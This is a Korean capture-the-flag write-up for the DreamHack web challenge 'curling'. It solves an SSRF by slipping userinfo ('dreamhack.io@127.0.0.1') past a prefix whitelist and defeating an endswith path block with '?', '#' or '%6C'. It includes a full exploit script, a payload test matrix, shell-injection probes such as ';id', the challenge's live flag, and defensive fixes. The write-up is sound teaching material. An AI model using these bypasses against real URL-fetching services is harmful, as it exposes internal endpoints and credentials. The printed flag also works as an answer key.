문제: DreamHack — curling 분류: web 난이도: 🥈 Silver 2 FLAG:
DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}
문제 설명은 세 단어다. "simple api server".
인스턴스를 켜고 루트로 들어가면 아무것도 없다. Flask 기본 404 만 돌아온다.

화면으로 탐색할 게 없는 문제다. 대신 배포본 소스가 통째로 들어 있다. 읽어 보면 46줄이고, 그 안에 구멍이 세 개 겹쳐 있다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | curling |
| 난이도 | 🥈 Silver 2 |
| 분류 | web |
| 스택 | Python 3.10 · Flask · Werkzeug 3.1.8 · Debian buster |
| 제공 파일 | deploy/app.py, deploy/requirements.txt, Dockerfile, flag |
| 공격 표면 | POST /api/v1/test/curl 의 url 파라미터 하나 |
| 핵심 취약점 | 접두사 비교 화이트리스트 + URL userinfo 를 이용한 SSRF |
풀이 흐름은 짧다.
플래그를 주는 엔드포인트가 127.0.0.1 에서만 열린다.
서버에는 임의의 URL 을 대신 curl 로 긁어 주는 기능이 있다.
그 기능의 호스트 검사가 접두사 비교라서, 목적지를 내가 정할 수 있다.
정리하면 서버에게 "네 자신에게 요청을 보내 달라"고 시키는 문제다. 전형적인 SSRF 구도인데, 관문이 두 개라 우회도 두 겹으로 겹쳐야 한다.
🔬 코드 정찰 — 46줄이 전부다
배포본을 풀면 파일이 넷뿐이다. 어느 줄을 봐야 하는지부터 잡고 들어갔다.
find extracted -type f | sort ; grep -nE "route|ALLOWED_HOSTS|remote_addr|startswith|endswith|run\(" extracted/deploy/app.py
라우트는 둘, 검사는 둘이다. 전문은 이렇다.
from flask import Flask, request
from os import urandom
from subprocess import run, TimeoutExpired
app = Flask(__name__)
app.secret_key = urandom(32)
try:
FLAG = open("/flag", "r").read().strip()
except:
FLAG = "[**FLAG**]"
ALLOWED_HOSTS = ['dreamhack.io', 'tools.dreamhack.io']
@app.route("/api/v1/test/curl", methods=["POST"])
def admin():
url = request.form["url"].strip()
for host in ALLOWED_HOSTS:
if url.startswith('http://' + host):
break
return {'result': False, 'msg': 'Not Allowed host'}
if url.endswith('/test/internal'):
return {'result': False, 'msg': 'Not Allowed endpoint'}
try:
response = run(
["curl", f"{url}"], capture_output=True, text=True, timeout=1
)
return {'result': True, 'msg': response.stdout}
except TimeoutExpired:
return {'result': False, 'msg': 'Timeout'}
@app.route('/api/v1/test/internal', methods=["GET"])
def test():
ip = request.remote_addr
if not ip == '127.0.0.1':
return {'result': False, 'msg': 'Only local access is allowed'}
return {'result': True, 'msg': FLAG}
if __name__ == '__main__':
app.run(host='0.0.0.0', port='8000')목표는 명확하다. /api/v1/test/internal 이 플래그를 준다.
다만 request.remote_addr 가 127.0.0.1 이어야 한다.
밖에서 그냥 열어 보면 당연히 거절당한다.

그러니까 필요한 건 "서버 안에서 나온 요청"이다.
그리고 서버 안에서 요청을 만들어 주는 기능이 바로 옆에 있다. curl 을 대신 실행해 주는 라우트다.
여기서 하나 먼저 접어 둘 게 있다. run(["curl", f"{url}"], ...) 는 리스트 인자다.
셸을 거치지 않으니 ;나 $(...) 같은 걸 넣어도 그냥 URL 문자열의 일부가 된다.
명령 주입 쪽은 길이 아니다. 뒤에서 실제 응답으로 확인한다.
💣 관문 ① — for 루프 안에 들어간 return
호스트 검사가 이렇게 생겼다.
for host in ALLOWED_HOSTS:
if url.startswith('http://' + host):
break
return {'result': False, 'msg': 'Not Allowed host'}들여쓰기를 다시 본다. return 이 for 블록 안에 있다.
첫 번째 원소로 루프가 한 번 돌면, 접두사가 맞으면 break, 안 맞으면 return 이다.
어느 쪽이든 루프는 첫 바퀴에서 끝난다. 두 번째 원소 tools.dreamhack.io 는 영원히 검사되지 않는다.
화이트리스트에 두 개를 적어 놨지만 실제로 동작하는 규칙은 하나뿐이라는 뜻이다.
url.startswith('http://dreamhack.io')말로만 하면 미덥지 않으니 그 루프만 떼어 와서 돌려 봤다.
# tools_loop_demo.py
ALLOWED_HOSTS = ['dreamhack.io', 'tools.dreamhack.io']
def check(url: str) -> bool:
"""app.py 의 for 루프 그대로. True = 통과, False = 'Not Allowed host'."""
for host in ALLOWED_HOSTS:
if url.startswith('http://' + host):
break
return False # ← 이 return 이 루프 '안'에 있다
return True
CASES = [
'http://dreamhack.io/',
'http://tools.dreamhack.io/', # 화이트리스트 2번째인데?
'http://dreamhack.io.attacker.test/',
'http://dreamhack.io@127.0.0.1:8000/',
'http://127.0.0.1:8000/',
]
print(f"ALLOWED_HOSTS = {ALLOWED_HOSTS}")
print(f"루프가 실제로 검사하는 원소 개수: {1} (첫 원소에서 무조건 return/break)")
print()
for url in CASES:
print(f" {'통과' if check(url) else '차단'} {url}")check() 안쪽은 app.py 15~22행을 한 글자도 바꾸지 않고 옮긴 것이다.
바깥의 출력 라벨은 확인용으로 내가 붙였다.

세 번째 줄이 눈에 걸린다. http://dreamhack.io.attacker.test/ 가 통과다.
접두사만 보니까 그 뒤에 뭘 붙이든 상관이 없다.
그리고 네 번째 줄. http://dreamhack.io@127.0.0.1:8000/ 도 통과다.
이게 이 문제의 열쇠인데, 왜 이게 127.0.0.1 로 가는지는 관문 ② 를 지나고 나서 정리한다.
🧪 로컬 재현 환경부터 만든다
라이브 인스턴스는 VM 크레딧을 먹고, 시간제한도 있다. 소스가 통째로 있으니 로컬에서 다 끝내 놓고 마지막에만 붙는 쪽이 낫다.
그런데 배포된 Dockerfile 을 그대로 빌드하면 실패한다.
E: The repository 'http://deb.debian.org/debian buster-updates Release' does not have a Release file.python:3.10-slim-buster 기반인데 buster 가 EOL 돼서 deb.debian.org 에서 인덱스가 내려갔다.
출제 당시 빌드된 서버 이미지는 멀쩡히 돌지만, 지금 내 손에서 다시 빌드하려면 저장소를 갈아끼워야 한다.
# Dockerfile.local — 배포본과 동일하되 apt 저장소만 archive 로
FROM python:3.10-slim-buster
ENV USER=dreamhack
ENV PORT=8000
RUN adduser --disabled-password $USER -u 1337
RUN printf '%s\n' \
'deb [check-valid-until=no] http://archive.debian.org/debian buster main' \
'deb [check-valid-until=no] http://archive.debian.org/debian-security buster/updates main' \
> /etc/apt/sources.list \
&& apt-get -o Acquire::AllowInsecureRepositories=true \
-o Acquire::AllowDowngradeToInsecureRepositories=true update -y \
&& apt-get -o APT::Get::AllowUnauthenticated=true install -y curl
WORKDIR /app
COPY ./extracted/deploy .
COPY ./extracted/flag /
RUN pip install -r requirements.txt
EXPOSE $PORT
CMD ["python3","app.py"]원본에 있던 build-essential wget unzip 은 뺐다. 이 문제에서 실제로 쓰이는 건 curl 하나다.
컨테이너 안 8000 번을 호스트 18000 번으로 빼서 띄운다.
#!/usr/bin/env bash
# run_local.sh — 로컬 재현 환경 기동
set -eu
cd "$(dirname "$(readlink -f "$0")")"
docker build -q -f Dockerfile.local -t curling-local .
docker rm -f curling-local >/dev/null 2>&1 || true
docker run -d --name curling-local -p 18000:8000 curling-local >/dev/null
sleep 2
docker ps --filter name=curling-local --format '{{.Names}} {{.Status}} {{.Ports}}'
echo "동봉된 로컬 flag : $(cat extracted/flag)"
echo -n '허용 호스트 통과 : '
curl -s -m 5 -X POST http://127.0.0.1:18000/api/v1/test/curl \
-d 'url=http://dreamhack.io/' | cut -c1-72
배포본에 들어 있는 flag 파일 내용은 DH{fake_flag} 다.
진짜 플래그는 문제 서버 컨테이너 안 /flag 에만 있다.
그러니 로컬에서 확인할 수 있는 건 "체인이 동작하는가"까지고, 값 자체는 마지막에 라이브에서 받아야 한다.
허용 호스트로 요청하면 dreamhack.io 의 301 응답이 그대로 돌아온다.
서버가 정말 내 대신 나가서 긁어 온다는 뜻이다. 여기까지가 정상 동작이다.
🧰 찔러 보기 — POST 전용이라 폼을 하나 만들었다
/api/v1/test/curl 은 POST 만 받는다. 브라우저 주소창으로는 못 건드린다.
curl 로만 해도 되지만, 응답을 눈으로 보면서 파라미터를 바꿔 보고 싶어서 폼 페이지를 하나 만들었다.
<!-- poc.html — 발췌. action 은 ?target= 로 넘긴 값으로 스크립트가 채운다 -->
<form id="f" method="POST" action="">
<label for="url">url</label>
<input id="url" name="url" value="" autocomplete="off">
<button type="submit">send</button>
</form>
<script>
const target = new URLSearchParams(location.search).get("target");
if (target) document.getElementById("f").action = target.replace(/\/$/, "") + "/api/v1/test/curl";
</script>폼 전송은 CORS 제약을 받지 않으니 file:// 로 열어 둔 페이지에서 바로 쏠 수 있다.

먼저 아무 우회 없이 내부 주소를 그대로 넣어 본다.

Not Allowed host. 예상대로 관문 ① 에서 막힌다.
http://dreamhack.io 로 시작해야 하는데, 그러면서 목적지는 127.0.0.1 이어야 한다.
이 두 조건은 얼핏 모순처럼 보인다. 모순이 아니게 만들어 주는 게 URL 문법이다.
🧩 배경 — URL 에는 호스트 앞에 사용자 이름을 적는 자리가 있다
RFC 3986 의 authority 는 이렇게 생겼다.
authority = [ userinfo "@" ] host [ ":" port ]@ 앞은 userinfo, 뒤가 실제 host 다.
http://user:pass@example.com/ 이 우리가 가끔 보는 그 형태다.
그래서 이런 URL 은,
http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal문자열로 읽으면 http://dreamhack.io 로 시작한다.
URL 로 파싱하면 host 는 127.0.0.1, 사용자 이름이 dreamhack.io 다.
startswith 는 앞의 해석을 하고, curl 은 뒤의 해석을 한다.
같은 문자열을 두 주체가 다르게 읽는 것 — 이 문제의 전부가 여기 있다.
말보다 curl -v 가 빠르다. 내 PC 셸이 아니라 컨테이너 안에서 확인했다.
배포 Dockerfile 과 같은 베이스 이미지로 만든 것이라 curl 버전도 문제 서버 쪽과 같은 계열이다.
docker exec curling-local sh -c "curl --version 2>&1 | sed -n '1p'; curl -sv 'http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal?' -o /dev/null"
읽을 줄은 셋이다.
| 출력 줄 | 뜻 |
|---|---|
Connected to 127.0.0.1 (127.0.0.1) port 8000 | 실제 목적지는 루프백이다 |
Server auth using Basic with user 'dreamhack.io' | 화이트리스트에 적힌 호스트명은 그냥 사용자 이름 취급 |
Host: 127.0.0.1:8000 | 서버가 받는 Host 헤더도 루프백 |
dreamhack.io 로는 DNS 조회조차 하지 않는다.
검사기 입장에서만 호스트일 뿐, curl 에게는 인증 정보다.
🚧 관문 ② — 문자열 끝만 보는 차단
관문 ① 을 통과한 URL 을 그대로 넣으면 이번엔 다른 메시지가 나온다.

두 번째 검사에 걸렸다.
if url.endswith('/test/internal'):
return {'result': False, 'msg': 'Not Allowed endpoint'}이것도 URL 을 파싱하지 않는다. 내가 보낸 문자열의 마지막 14글자만 본다.
그러면 조건은 하나로 정리된다.
curl 이 보내는 요청의 경로는 /api/v1/test/internal 로 유지하면서,
내가 폼에 적는 문자열은 /test/internal 로 끝나지 않게 만들면 된다.
문자열의 끝과 요청의 경로가 어긋나는 지점을 찾는 문제가 됐다.
🧱 배경 — SSRF 는 "누가 요청했는가"를 바꾸는 공격이다
잠깐 정리하고 간다. 이 문제가 왜 SSRF 인지, 그리고 왜 이 구조가 흔한지에 대해서다.
Server-Side Request Forgery 는 이름 그대로 서버가 대신 요청을 보내게 만드는 공격이다. URL 미리보기, 웹훅 등록, 이미지 프록시, 헬스체크 — 사용자가 준 주소로 서버가 나가는 기능은 어디에나 있다.
이게 왜 문제가 되냐면, 네트워크 상 위치가 곧 권한으로 쓰이는 곳이 많기 때문이다.
내부망 관리 페이지는 "어차피 밖에서 못 들어오니까" 인증이 얇다.
클라우드 메타데이터 서비스(169.254.169.254)는 인스턴스 안에서 부르면 자격증명을 준다.
데이터베이스나 캐시 서버는 사설 대역에서만 열려 있다.
공격자가 직접 그 주소로 못 가더라도, 그 안에 있는 서버가 대신 가 주면 결과는 같다. 요청의 출처가 공격자에서 서버로 바뀌는 것 — 그게 SSRF 가 파는 지점이다.
이 문제는 그 구도를 최소 단위로 줄여 놓았다.
"내부"가 사설 대역도 클라우드 메타데이터도 아니고 그냥 127.0.0.1 이고,
그 안에 있는 자원이 플래그다.
ip = request.remote_addr
if not ip == '127.0.0.1':
return {'result': False, 'msg': 'Only local access is allowed'}이 세 줄이 "위치 = 권한" 그 자체다. 그리고 같은 프로세스 안에 임의 URL 을 대신 긁어 주는 기능이 붙어 있으니, 위치는 빌려 쓸 수 있는 것이 된다.
그래서 SSRF 문제를 만나면 보는 순서가 정해져 있다.
첫째, 서버가 대신 요청을 보내는 지점이 어디인가. 둘째, 목적지를 얼마나 내 마음대로 정할 수 있나. 셋째, 그 서버 위치에서만 열리는 자원이 무엇인가.
이 문제는 셋이 전부 한 파일 안에 있다. 46줄짜리 교보재인 셈이다.
🐛 삽질 — 먼저 아닌 길들을 지웠다
▶🕳️ 삽질 1 — 셸 메타문자부터 넣어 봤다
subprocess 로 curl 을 부른다는 걸 보고 반사적으로 명령 주입부터 찔렀다.
url=http://dreamhack.io/;id 같은 것들이다.
돌아온 건 id 결과가 아니라 dreamhack.io 의 301 페이지였다.
당연하다. 호출이 이렇게 생겼다.
run(["curl", f"{url}"], capture_output=True, text=True, timeout=1)리스트를 넘기면 shell=False 가 기본이고, execve 로 바로 실행된다.
; 도 $( ) 도 셸을 만나지 못하니 그냥 URL 문자열의 일부다.
인자 주입(-o 같은 옵션을 끼워 넣는 것)도 안 된다.
URL 전체가 argv[1] 하나로 들어가고, 그마저도 http://dreamhack.io 로 시작해야 한다.
▶🕳️ 삽질 2 — 화이트리스트 2번째 호스트가 오히려 막혔다
ALLOWED_HOSTS 에 tools.dreamhack.io 가 적혀 있길래
그쪽에 오픈 리다이렉트나 프록시 기능이 있는지 찾아보려 했다.
그런데 그 호스트로 요청하면 Not Allowed host 가 돌아온다.
허용 목록에 적힌 호스트가 허용되지 않는다.
관문 ① 의 return 위치 때문이다.
루프가 첫 원소에서 끝나니 2번째 원소는 코드에 적혀만 있고 실행되지 않는다.
버그가 방어를 뚫는 데 쓰이기 전에, 먼저 정상 기능을 망가뜨리고 있었던 셈이다. 이걸 확인하고 나서야 "적힌 규칙"이 아니라 "실행되는 규칙"만 보기로 했다.
▶🕳️ 삽질 3 — 경로 뒤에 아무거나 붙이면 될 줄 알았다
endswith 를 깨려고 손에 잡히는 대로 붙여 봤는데, 절반은 안 먹었다.
# tools_deadends.py — 막힌 시도들만 모아 응답을 확인한다
CASES = [
("셸 메타문자 주입", "http://dreamhack.io/;id"),
("셸 커맨드 치환", "http://dreamhack.io/$(id)"),
("화이트리스트 2번째", "http://tools.dreamhack.io/"),
("끝에 슬래시", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal/"),
("끝에 공백", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal "),
("슬래시 중복", "http://dreamhack.io@127.0.0.1:8000/api/v1//test/internal"),
]
for label, url in CASES:
try:
msg = requests.post(BASE, data={"url": url}, timeout=10).json().get("msg", "")
except Exception as e: # noqa: BLE001
msg = f"<{e.__class__.__name__}>"
msg = " ".join(str(msg).split())
print(f" {pad(label, 22)} {msg[:64]}")
하나씩 이유가 다르다.
끝에 슬래시 — 검사는 통과한다. 그런데 Flask 가 404 를 낸다.
@app.route('/api/v1/test/internal') 처럼 슬래시 없이 등록된 규칙은
슬래시가 붙은 경로를 같은 것으로 쳐 주지 않는다. 검사를 지나고 라우팅에서 죽었다.
끝에 공백 — 애초에 서버가 먼저 지운다. 첫 줄이 request.form["url"].strip() 이다.
공백을 붙여 봤자 endswith 검사 시점엔 이미 없다.
슬래시 중복 — /api/v1//test/internal 은 여전히 /test/internal 로 끝난다.
앞쪽을 건드려 봐야 검사는 뒤만 본다.
여기서 방향이 잡혔다. 필요한 건 "경로 뒤에 뭔가 붙이기"가 아니라 요청 경로는 그대로 두면서 문자열 끝만 다르게 만드는 문법이다.
💣 핵심 — 문자열 검사와 URL 파서 사이의 틈
두 관문 모두 url 을 문자열로만 다룬다. 앞 20글자와 뒤 14글자를 볼 뿐이다.
반면 실제 요청을 만드는 curl 은 그 문자열을 URL 로 파싱한다.
그 사이에 낄 수 있는 문법이 세 가지 있었다.

| 붙이는 것 | 검사기가 보는 문자열 끝 | 서버가 라우팅하는 경로 | 통과 이유 |
|---|---|---|---|
? | ...internal? | /api/v1/test/internal | ? 뒤는 쿼리스트링이라 경로에서 분리된다 |
# | ...internal# | /api/v1/test/internal | 프래그먼트는 서버로 전송되지 않는다 |
%6C | ...interna%6C | /api/v1/test/internal | curl 은 그대로 보내고 Werkzeug 가 디코딩한다 |
/./ | ...test/./internal | /api/v1/test/internal | curl 이 상대 경로 세그먼트를 정규화한다 |
네 가지가 다 통하는데 이유는 전부 다르다. 어디서 경로가 정규화되는지가 각각 다르기 때문이다.
# 은 curl 이 아예 잘라 버린다. 프래그먼트는 클라이언트가 쓰는 정보라 원래 전송 대상이 아니다.
/./ 도 curl 이 보내기 전에 정리한다. 상대 경로 세그먼트를 지우는 건 RFC 3986 의 정규화 절차다.
%6C 은 성격이 다르다. curl 은 이미 인코딩된 경로를 다시 건드리지 않고 그대로 실어 보낸다.
그래서 요청줄에 /api/v1/test/interna%6C 이 그대로 나간다.
푸는 건 받는 쪽이다. Werkzeug 가 PATH_INFO 를 만들면서 퍼센트 인코딩을 디코딩하고,
그 결과인 /api/v1/test/internal 로 라우팅한다.
? 는 아무도 손대지 않는다 — 그냥 HTTP 요청줄에서 경로와 쿼리를 가르는 구분자일 뿐이다.
네 경우 모두 "경로를 누가 어느 시점에 정규화하느냐"가 다르다.
curl 이 보내기 전에 하기도 하고, 서버가 받은 뒤에 하기도 한다.
검사는 그 전에 끝나 있으니 어느 쪽이든 검사기는 최종 경로를 본 적이 없다.
여기서 한 가지 확인할 게 있었다. 내 작업 PC 의 curl 8.14.1 은
빈 쿼리스트링(? 만 있고 뒤가 없는 경우)을 요청줄에서 아예 빼고 보낸다.
그런데 python:3.10-slim-buster 에 딸려 오는 curl 은 7.64.0 이라 ? 를 그대로 실어 보낸다.
앞의 curl -v 캡쳐를 내 셸이 아니라 컨테이너 안에서 찍은 것도 그래서다.
GET /api/v1/test/internal? HTTP/1.1 로 나가는데도 우회가 성립한다.
서버가 ? 를 만나면 그 앞까지를 경로로 잘라 라우팅하기 때문이다.
즉 이 우회는 curl 버전에 기대지 않는다. 확인해 두지 않았으면
"내 환경에서만 되는 것"을 원리로 착각할 뻔했다.
마지막 관문은 자동으로 풀린다.
curl 이 127.0.0.1:8000 으로 TCP 연결을 맺으니, Flask 가 보는 request.remote_addr 는 127.0.0.1 이다.
/api/v1/test/internal 은 그걸 로컬 접근으로 인정하고 플래그를 준다.
서버 로그로 확인 — 요청이 정말 둘로 갈라진다
remote_addr 이야기는 추론으로 끝내면 찝찝하다. 로컬 컨테이너의 개발 서버 로그를 그대로 봤다.
docker logs curling-local 2>&1 | grep -E 'GET|POST'
두 줄이 찍힌다.
127.0.0.1 - - "GET /api/v1/test/internal HTTP/1.1" 200 -
172.17.0.1 - - "POST /api/v1/test/curl HTTP/1.1" 200 -아래가 내가 보낸 요청이다. 도커 브리지 게이트웨이인 172.17.0.1 로 잡혔다.
그 IP 로는 /api/v1/test/internal 을 열 수 없다.
위가 curl 이 만들어 낸 요청이고, 소스가 127.0.0.1 이다.
같은 프로세스가 자기 포트로 접속했으니 커널이 루프백으로 붙여 준 것이다.
순서가 뒤집혀 보이는 것도 이유가 있다.
curl 이 끝나야 바깥 요청이 응답을 반환하므로, 안쪽 요청이 먼저 완료되고 먼저 로그에 남는다.
🎯 우회 확인 — 로컬에서 먼저 전부 돌려 봤다
라이브에 붙기 전에 후보를 한 번에 던져 어느 관문에서 막히는지 표로 봤다.
# tools_matrix.py
CASES = [
("평범하게 내부로", "http://127.0.0.1:8000/api/v1/test/internal"),
("localhost 로", "http://localhost:8000/api/v1/test/internal"),
("화이트리스트 2번째 호스트", "http://tools.dreamhack.io/"),
("userinfo 우회만", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal"),
("userinfo + 빈 쿼리 ?", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal?"),
("userinfo + 빈 프래그먼트 #", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal#"),
("userinfo + %6C 인코딩", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/interna%6C"),
]
for label, url in CASES:
try:
msg = requests.post(BASE, data={"url": url}, timeout=10).json().get("msg", "")
except Exception as e: # noqa: BLE001
msg = f"<{e.__class__.__name__}>"
msg = " ".join(str(msg).split())
verdict = "FLAG" if "DH{" in msg else "차단"
print(f" {verdict:4} {pad(label, 30)} {msg[:52]}")
위 네 줄이 막히고 아래 세 줄이 뚫린다. 막힌 이유도 두 종류로 갈린다 — 앞 셋은 관문 ①, 네 번째는 관문 ② 다.
한 관문씩 확실히 넘겼는지 확인하고 넘어갈 수 있다는 게 이 표의 쓸모다. 여기까지 되면 라이브에서 할 일은 payload 하나 보내는 것뿐이다.
폼으로도 같은 걸 확인했다.

응답이 두 겹으로 감싸여 있다.
바깥은 /api/v1/test/curl 이 돌려준 것이고, 안쪽 이스케이프된 JSON 이 curl 이 받아 온 내부 응답이다.
curl 의 stdout 이 그대로 msg 에 실려 나오니, 서버가 자기 자신에게 물어본 결과를 우리가 읽는 구조다.
🚀 Full Exploit
실제로 플래그를 뽑은 스크립트 전문이다.
우회 방식 세 가지를 --variant 로 골라 쓸 수 있게 해 뒀다.
#!/usr/bin/env python3
"""curling (DreamHack Silver 2, web) — SSRF exploit.
취약점 세 겹을 한 줄짜리 URL 하나로 통과한다.
1) ALLOWED_HOSTS 루프의 return 위치가 잘못돼 실질 검사가
url.startswith('http://dreamhack.io') 접두사 매칭 하나뿐이다.
2) 접두사 매칭이라 URL userinfo 를 쓰면 검사를 통과하면서 실제 목적지는
내 마음대로 잡을 수 있다 — http://dreamhack.io@127.0.0.1:8000/...
('dreamhack.io' 는 curl 에게 user 이름일 뿐, 호스트는 127.0.0.1)
3) 마지막 관문 url.endswith('/test/internal') 은 뒤에 한 글자만 붙이면 깨진다.
빈 쿼리스트링 '?' · 빈 프래그먼트 '#' · 경로 %6C 인코딩 셋 다 통한다.
사용법 (기본값이 실패값이다 — 대상 URL 을 반드시 인자로 준다):
python3 solve.py http://host1.dreamhack.games:12345
python3 solve.py http://127.0.0.1:18000 --variant frag
"""
import argparse
import re
import sys
import requests
# 문제 서버 컨테이너 안에서 Flask 가 듣고 있는 주소. app.run(host='0.0.0.0', port='8000')
INTERNAL = "127.0.0.1:8000"
PATH = "/api/v1/test/internal"
VARIANTS = {
# 빈 쿼리스트링: endswith('/test/internal') 는 깨지고 werkzeug 라우팅은 그대로 매칭
"query": f"http://dreamhack.io@{INTERNAL}{PATH}?",
# 빈 프래그먼트: curl 이 '#' 뒤를 잘라내고 보내므로 서버가 받는 경로는 원본 그대로
"frag": f"http://dreamhack.io@{INTERNAL}{PATH}#",
# 경로 퍼센트 인코딩: curl 은 경로를 그대로 전달, werkzeug 가 %6C -> 'l' 로 디코딩
"enc": f"http://dreamhack.io@{INTERNAL}{PATH[:-1]}%6C",
}
def exploit(base: str, variant: str, timeout: int = 10) -> str:
url = VARIANTS[variant]
print(f"[*] target : {base}")
print(f"[*] variant : {variant}")
print(f"[*] SSRF url : {url}")
r = requests.post(
base.rstrip("/") + "/api/v1/test/curl",
data={"url": url},
timeout=timeout,
)
print(f"[*] status : {r.status_code}")
body = r.text
print(f"[*] response : {body.strip()[:300]}")
m = re.search(r"DH\{[^}]+\}", body)
if not m:
print("[!] flag 없음 — 응답을 확인할 것", file=sys.stderr)
sys.exit(1)
return m.group(0)
def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("base", help="예: http://host1.dreamhack.games:12345")
ap.add_argument("--variant", choices=sorted(VARIANTS), default="query")
args = ap.parse_args()
flag = exploit(args.base, args.variant)
print()
print(f"[+] FLAG: {flag}")
if __name__ == "__main__":
main()라이브 인스턴스 주소를 인자로 주면 끝난다.

DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}인자를 안 주면 argparse 가 바로 에러를 낸다. 기본 대상 같은 건 두지 않았다 —
로컬 포트를 기본값으로 박아 두면 라이브에서 조용히 엉뚱한 데 쏘게 된다.
재현용으로는 이걸 한 번에 돌리는 스크립트를 따로 뒀다.
#!/usr/bin/env bash
# reproduce.sh — 인자 없으면 로컬 docker 로 체인 검증, 인자를 주면 라이브에서 진짜 flag
set -eu
cd "$(dirname "$(readlink -f "$0")")"
FLAG_LIVE='DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}'
if [ -f 문제.json ]; then
FLAG_LIVE=$(python3 -c "import json;print(json.load(open('문제.json')).get('flag',''))" 2>/dev/null || echo "$FLAG_LIVE")
fi
if [ $# -ge 1 ]; then
TARGET="$1"; MODE="live"; EXPECT="$FLAG_LIVE"
else
echo "[*] 로컬 docker 기동 (Dockerfile.local — buster EOL 이라 archive.debian.org 사용)"
./run_local.sh
TARGET="http://127.0.0.1:18000"; MODE="local"
EXPECT=$(cat extracted/flag)
fi
echo
echo "[*] mode=$MODE target=$TARGET"
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && [ "$FLAG" = "$EXPECT" ]; then
echo
if [ "$MODE" = local ]; then
echo "✅ PASS $FLAG (동봉된 로컬 flag — 익스 체인 정상. 진짜 flag 는 라이브 서버에서만 나온다)"
else
echo "✅ PASS $FLAG"
fi
exit 0
fi
echo
echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"
exit 1로컬 모드의 PASS 는 DH{fake_flag} 를 맞힌 것이다.
진짜 플래그와 대조하려면 라이브 주소를 인자로 넘겨야 한다. 그 구분을 출력에 적어 뒀다.
처음부터 재현하는 순서
배포본만 있으면 아래 넷으로 끝난다. 파일은 전부 문제 폴더 한 곳에 둔다.
| 단계 | 명령 | 비고 |
|---|---|---|
| 1 | docker build -f Dockerfile.local -t curling-local . | 배포 Dockerfile 은 buster EOL 때문에 실패한다 |
| 2 | ./run_local.sh | 컨테이너 8000 → 호스트 18000 |
| 3 | python3 tools_matrix.py http://127.0.0.1:18000 | 어느 관문에서 막히는지 표로 확인 |
| 4 | python3 solve.py <라이브 주소> | 진짜 플래그. 인자 생략 시 에러 |
solve.py 에 기본 대상이 없는 게 의도라는 점만 다시 적어 둔다.
로컬 포트를 기본값으로 박아 두면 라이브에서 인자를 깜빡했을 때
"왜 로컬 flag 가 나오지" 하고 한참 헤매게 된다.
📝 결론
화이트리스트는 파싱한 뒤에 비교한다.
이 문제의 첫 구멍은 startswith 다.
호스트를 검사하고 싶었으면 URL 을 파싱해서 host 필드만 꺼내 비교했어야 한다.
from urllib.parse import urlparse
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https') or parsed.hostname not in ALLOWED_HOSTS:
return {'result': False, 'msg': 'Not Allowed host'}urlparse 의 hostname 은 userinfo 를 떼고 순수 호스트만 돌려준다.
같은 payload 를 넣어도 127.0.0.1 이 나오니 목록에 없어서 걸린다.
접두사·부분 문자열 비교로 도메인을 검사하는 코드는 대부분 같은 문제를 갖는다.
@ 말고도 dreamhack.io.attacker.test 처럼 뒤에 붙이는 수법이 늘 따라온다.
차단 목록보다 목적지를 막는 게 낫다.
endswith('/test/internal') 는 특정 경로 하나만 가린 것이다.
경로 표기 방법이 몇 가지인지 다 세어 본 뒤에야 안전한데, 이번에 나온 것만 넷이다.
SSRF 방어의 축은 "무엇을 부르지 못하게 할까"가 아니라 "어디로 나갈 수 있나"다. DNS 로 풀린 주소가 사설 대역·루프백인지 확인하고, 리다이렉트를 따라갈 때마다 다시 확인하는 쪽이 맞다.
두 가지를 합치면 검사부는 대략 이런 모양이 된다.
import ipaddress
import socket
from urllib.parse import urlparse
ALLOWED_HOSTS = {'dreamhack.io', 'tools.dreamhack.io'}
def safe_target(raw: str) -> str:
parsed = urlparse(raw)
# 1) 스킴·호스트를 파싱해서 본다. 접두사 비교가 아니라 정확히 일치.
if parsed.scheme not in ('http', 'https'):
raise ValueError('scheme')
if parsed.hostname not in ALLOWED_HOSTS: # userinfo 는 hostname 에 안 들어온다
raise ValueError('host')
# 2) 실제로 연결될 주소가 내부인지 확인한다. DNS 리바인딩까지 막으려면
# 여기서 얻은 IP 로 직접 접속하고 Host 헤더만 원래 호스트로 보낸다.
for family, _, _, _, sockaddr in socket.getaddrinfo(parsed.hostname, None):
ip = ipaddress.ip_address(sockaddr[0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
raise ValueError('internal address')
return rawurlparse 의 hostname 은 userinfo 를 떼고 순수 호스트만 돌려주므로
http://dreamhack.io@127.0.0.1:8000/... 을 넣으면 127.0.0.1 이 나온다. 목록에 없으니 거기서 끝난다.
두 번째 검사가 필요한 이유는 화이트리스트가 있어도 그 도메인이 내부 IP 를 가리킬 수 있어서다.
공격자가 자기 도메인의 A 레코드를 127.0.0.1 로 박아 두는 건 아무 제약이 없다.
이 문제에서는 화이트리스트가 드림핵 도메인이라 해당이 없지만, 실제 서비스에서는 이쪽이 더 자주 터진다.
endswith 로 특정 경로를 가리는 코드는 아예 지우는 게 낫다.
경로를 가려야 할 만큼 민감한 자원이면 그건 요청을 대신 보내 주는 기능이 닿을 수 있는 곳에 두면 안 된다.
소스 IP 는 인증이 아니다.
request.remote_addr == '127.0.0.1' 하나로 플래그를 열어 준 게 마지막 고리였다.
같은 호스트 안에 아웃바운드 요청을 대신 보내 주는 기능이 있으면 이 조건은 언제든 위조된다.
리버스 프록시가 앞에 있으면 헤더 하나로도 흔들린다.
